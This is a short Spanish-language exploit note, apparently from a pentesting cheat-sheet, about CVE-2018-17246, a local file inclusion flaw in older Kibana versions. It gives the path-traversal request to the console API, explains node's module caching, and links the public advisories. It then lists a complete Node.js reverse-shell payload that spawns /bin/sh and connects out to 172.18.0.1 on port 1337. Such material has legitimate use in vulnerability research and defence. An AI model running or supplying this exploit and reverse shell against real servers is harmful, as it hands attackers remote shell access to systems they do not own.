
CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13
Una Inclusión Local de Archivos en Kibana descubierta por CyberArk Labs, la LFI puede utilizarse para ejecutar una reverse shell en el servidor de Kibana con el siguiente payload:
/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../path/to/shell.js
Como ya habrás adivinado, este ataque debe combinarse con una subida de archivos sin restricciones o cualquier otra vulnerabilidad que te permita escribir un archivo en el servidor.
No hay validación de entrada, por lo que podemos cambiar el nombre del archivo JavaScript a lo que queramos. En este caso, con la técnica de path traversal, podemos elegir cualquier archivo en el servidor Kibana. Sin embargo, una cosa a tener en cuenta es la característica de caché de módulos de node. Esencialmente, dado que la LFI funciona enviando entrada de usuario sin sanitizar a la función
requirede node, el módulo incluido (el payload del atacante) se almacenará en caché por nombre de archivo. Esto significa que no puedes enviar el mismo payload para, por ejemplo, recuperar una reverse shell.

Detalles de la vulnerabilidad: https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/
Aviso de seguridad: https://www.elastic.co/blog/kibana-local-file-inclusion-flaw-cve-2018-17246
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "172.18.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();